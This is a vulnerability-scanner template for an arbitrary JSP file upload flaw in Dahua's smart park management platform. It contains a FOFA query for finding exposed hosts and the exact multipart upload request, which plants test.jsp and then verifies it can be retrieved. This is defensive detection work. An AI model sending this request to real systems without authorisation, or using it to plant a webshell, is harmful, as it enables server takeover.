dahua-zhyq-video-fileupload: 大华 智慧园区综合管理平台 video 任意文件上传漏洞

id: dahua-zhyq-video-fileupload

info:
  name: 大华 智慧园区综合管理平台 video 任意文件上传漏洞
  author: peiqi
  severity: high
  verified: true
  description: |
    大华 智慧园区综合管理平台 video 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器中，控制服务器权限
    FOFA: app="dahua-智慧园区综合管理平台"
  reference:
    - https://peiqi.wgpsec.org/wiki/iot/大华/大华%20智慧园区综合管理平台%20video%20任意文件上传漏洞.html
  tags: dahua,fileupload
  created: 2023/08/13

set:
  randstr: randomLowercase(10)
  randbody: randomLowercase(30)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /publishing/publishing/material/file/video
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"Filedata\"; filename=\"test.jsp\"\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"Submit\"\r\n\
        \r\n\
        submit\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200  && response.body.bcontains(b'"path":')
    output:
      search: '"\"path\":\"(?P<path>.*?)\"".bsubmatch(response.body)'
      path: search["path"]
  r1:
    request:
      method: GET
      path: /publishingImg/{{path}}
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()